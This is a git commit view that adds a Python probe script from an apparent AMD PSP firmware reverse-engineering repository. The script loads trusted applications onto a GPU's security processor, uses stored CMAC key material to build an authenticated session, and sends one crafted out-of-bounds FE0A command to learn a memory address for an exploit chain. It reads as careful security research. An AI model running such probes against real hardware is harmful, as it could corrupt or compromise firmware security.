aboutsummaryrefslogtreecommitdiffstats
path: root/hw/gcp_fe0a_params_va_nonrop.py
diff options
context:
space:
mode:
authoruser <user@clank>2026-10-09 16:11:31 +0200
committeruser <user@clank>2026-10-09 16:11:31 +0200
commitbc43149d914325e15dc0490dee9d982e21287623 (patch)
treea632cf70de742d5a60d01c9c0d806bf5b9257538 /hw/gcp_fe0a_params_va_nonrop.py
parentGCP->ASD 0x403: ASD-internal chain PROVEN end-to-end in emulator (real handlers) (diff)
downloadamd-psp-re-main.tar.gz
amd-psp-re-main.tar.xz
amd-psp-re-main.zip
Record PSP security investigation artifacts and probesHEADmain
Diffstat (limited to 'hw/gcp_fe0a_params_va_nonrop.py')
-rw-r--r--hw/gcp_fe0a_params_va_nonrop.py164
1 files changed, 164 insertions, 0 deletions
diff --git a/hw/gcp_fe0a_params_va_nonrop.py b/hw/gcp_fe0a_params_va_nonrop.py
new file mode 100644
index 0000000..151857b
--- /dev/null
+++ b/hw/gcp_fe0a_params_va_nonrop.py
@@ -0,0 +1,164 @@
+#!/usr/bin/env python3
+"""One-shot NON-ROP FE0A mapping discriminator on the card.
+
+No FE0A selector-4 chosen writes, no GCP pivot, no LSDMA/MP1-MMU writes.
+An in-buffer diagnostic FE0A control first checks all gates; ONE subsequent
+out-of-buffer comparator may fault if the params VA differs from BOTH bases.
+Both FE0A paths may emit three ASD->SYS_DRV 0x1079 events to MP1 PMI3.
+On ring timeout stop and recover with ATX.
+"""
+import ast
+import glob
+import hashlib
+import json
+import os
+import struct
+import sys
+
+from tinygrad import Device
+import tinygrad.runtime.autogen.am.am as am
+
+# Reuse ONLY the pure AES/CMAC definitions from the byte-identical older probe.
+# Parse as DATA: never import or execute its top-level card-operation code.
+HELPER = '/root/psp/hw/gcp_fe0a_sel8_probe.py'
+EXPECTED_SHA256 = '7e0a36457d7841e027d94ca42742ab5702e325b6ce719d1e261149173d9e64a9'
+src = open(HELPER, 'rb').read()
+assert hashlib.sha256(src).hexdigest() == EXPECTED_SHA256
+nodes = []
+for node in ast.parse(src.decode()).body:
+ if isinstance(node, ast.Assign) and len(node.targets) == 1 and isinstance(node.targets[0], ast.Name) and node.targets[0].id == 'SB':
+ nodes.append(node)
+ if isinstance(node, ast.FunctionDef) and node.name in ('xt', 'expand', 'enc', 'dbl', 'cmac'):
+ nodes.append(node)
+assert len(nodes) == 6 and {n.name for n in nodes if isinstance(n, ast.FunctionDef)} == {'xt','expand','enc','dbl','cmac'}
+helper = {}
+exec(compile(ast.fix_missing_locations(ast.Module(body=nodes, type_ignores=[])), HELPER, 'exec'), helper)
+cmac = helper['cmac']
+g = json.load(open('/root/psp/hw/fe08_good.json'))
+ct, sk, seedoff = bytes.fromhex(g['ct']), bytes.fromhex(g['sk']), g['seedoff']
+assert cmac(sk, bytes([1,0,0,0])+bytes(range(4,0x20))).hex() == g['mac']
+print('CMAC self-test OK; key material not printed', flush=True)
+
+BUFLEN, PAT = 0x40000, 0xA5
+DISP, SEED = 0xFC3E0A60, 0x40000001
+assert ((0x04024000 + 0x14 + DISP) & 0xffffffff) == 0x404A74
+assert ((0x04035000 + 0x14 + DISP) & 0xffffffff) == 0x415A74
+
+# One-shot guard against accidentally replaying this stateful test.
+marker = '/root/psp/hw/.gcp_fe0a_params_va_nonrop.attempted'
+fd = os.open(marker, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
+os.close(fd)
+
+adev = Device['AMD'].iface.dev_impl
+psp = adev.psp
+
+def alloc(n):
+ pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
+ return pa, adev.paddr2mc(pa)
+
+def submit(cmd):
+ return psp._ring_submit(cmd)
+
+def load(blob, which, app_pa, app_mc, cmd_mc, cmdlen):
+ n = (len(blob)+3)&~3
+ adev.vram.view(app_pa,n)[:] = blob + b'\0'*(n-len(blob))
+ adev.gmc.flush_hdp()
+ c = am.struct_psp_gfx_cmd_resp(cmd_id=which)
+ t = c.cmd.cmd_load_ta
+ t.app_phy_addr_lo,t.app_phy_addr_hi = app_mc&0xffffffff,app_mc>>32
+ t.app_len = len(blob)
+ t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi = cmd_mc&0xffffffff,cmd_mc>>32
+ t.cmd_buf_len = cmdlen
+ r = submit(c)
+ return r.resp.status&0xffffffff,r.resp.session_id
+
+asd_app,asd_mc = alloc(0x80000)
+asd_cmd,asd_cmd_mc = alloc(0x10000)
+app,app_mc = alloc(0x80000)
+cmd,cmd_mc = alloc(BUFLEN)
+asd_blob = open('/root/psp/contall/asd_33-0-0-163_18debcc4.bin','rb').read()
+gcp_blob = open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
+a_status,_ = load(asd_blob, am.GFX_CMD_ID_LOAD_ASD, asd_app, asd_mc, asd_cmd_mc, 0x10000)
+print('ASD load status=%#x'%a_status, flush=True)
+assert a_status == 0
+status,sid = load(gcp_blob, am.GFX_CMD_ID_LOAD_TA, app, app_mc, cmd_mc, BUFLEN)
+print('GCP load status=%#x sid=%s'%(status,sid), flush=True)
+assert status == 0 and sid
+
+def build(op,handle,blob=None,seed=None,extra=None):
+ b = bytearray([PAT])*BUFLEN
+ struct.pack_into('<II',b,0,op,0)
+ struct.pack_into('<I',b,0x10,handle)
+ struct.pack_into('<I',b,0x414,0xfffffffb)
+ struct.pack_into('<I',b,0x818,0x1000)
+ if blob is not None: b[0x14:0x14+len(blob)] = blob
+ if seed is not None:
+ d = seed.to_bytes(4,'little') + bytes(range(4,0x20))
+ b[0x14:0x24] = cmac(sk,d)
+ b[0x24:0x24+len(d)] = d
+ struct.pack_into('<I',b,0x414,0x10+len(d))
+ for off,val in (extra or {}).items(): struct.pack_into('<I',b,off,val)
+ return b
+
+def invoke(op,b):
+ adev.vram.view(cmd,BUFLEN)[:] = b
+ adev.gmc.flush_hdp()
+ c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
+ c.cmd.cmd_invoke_cmd.session_id = sid
+ c.cmd.cmd_invoke_cmd.ta_cmd_id = op
+ r = submit(c)
+ adev.gmc.flush_hdp()
+ data = bytes(adev.vram.view(cmd,0x1960)[:])
+ return r.resp.status&0xffffffff,struct.unpack_from('<I',data,8)[0],data
+
+def setup_handle():
+ ring,ta,data = invoke(0xFE07,build(0xFE07,0))
+ handle = struct.unpack_from('<I',data,0x1950)[0]
+ print('FE07 ring=%#x ta=%#x handle_nonzero=%s'%(ring,ta,bool(handle)), flush=True)
+ assert ring == ta == 0 and handle
+ ring,ta,_ = invoke(0xFE08,build(0xFE08,handle,blob=ct))
+ print('FE08 ring=%#x ta=%#x'%(ring,ta), flush=True)
+ assert ring == ta == 0
+ ring,ta,_ = invoke(0xFE09,build(0xFE09,handle,seed=SEED,
+ extra={0x820:1, 0x828:0xE8, 0x82C:seedoff, 0x830:0}))
+ print('FE09 ring=%#x ta=%#x'%(ring,ta), flush=True)
+ assert ring == ta == 0
+ return handle
+
+def diagnostic_buf(handle,disp,local_word):
+ b = build(0xFE0A,handle)
+ struct.pack_into('<I',b,0x14,local_word)
+ struct.pack_into('<I',b,0x414,0xffffffff) # REQUIRED by pre-comparator signed bound
+ struct.pack_into('<I',b,0x820,11) # diagnostic case; NO memcpy/selector-4
+ struct.pack_into('<I',b,0x824,disp)
+ struct.pack_into('<I',b,0x828,0)
+ return b
+
+finished = False
+try:
+ control_handle = setup_handle()
+ print('in-buffer FE0A control, same huge declared length and selector',flush=True)
+ cring,cta,_ = invoke(0xFE0A,diagnostic_buf(control_handle,0,0x60000000))
+ print('control ring=%#x ta=%#x'%(cring,cta),flush=True)
+ assert cring == 0 and cta == 0x241, 'gate control failed; no OOB comparator attempted'
+ handle = setup_handle() # new signed auth session; preserve prior control
+ print('issuing ONE non-ROP OOB comparator; old-base=0x241 shifted-base=0x100; other=unknown',flush=True)
+ ring,ta,_ = invoke(0xFE0A,diagnostic_buf(handle,DISP,0x11111111))
+ finished = ring == 0
+ print('comparator ring=%#x ta=%#x'%(ring,ta),flush=True)
+ if ring == 0 and ta == 0x241:
+ print('conditional old-base comparator ACCEPT; still not a live VA measurement',flush=True)
+ elif ring == 0 and ta == 0x100:
+ print('conditional shifted-base comparator REJECT (other target words can also reject)',flush=True)
+ else:
+ print('NON-DISCRIMINATING RESULT: do not assume either VA',flush=True)
+finally:
+ # Never stack more PSP commands on an exception or an unresponsive ring.
+ try:
+ if finished:
+ u = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
+ u.cmd.cmd_unload_ta.session_id = sid
+ ru = submit(u)
+ print('GCP unload ring=%#x'%(ru.resp.status&0xffffffff),flush=True)
+ except Exception as exc:
+ print('GCP unload unavailable; ATX recovery needed:',type(exc).__name__,flush=True)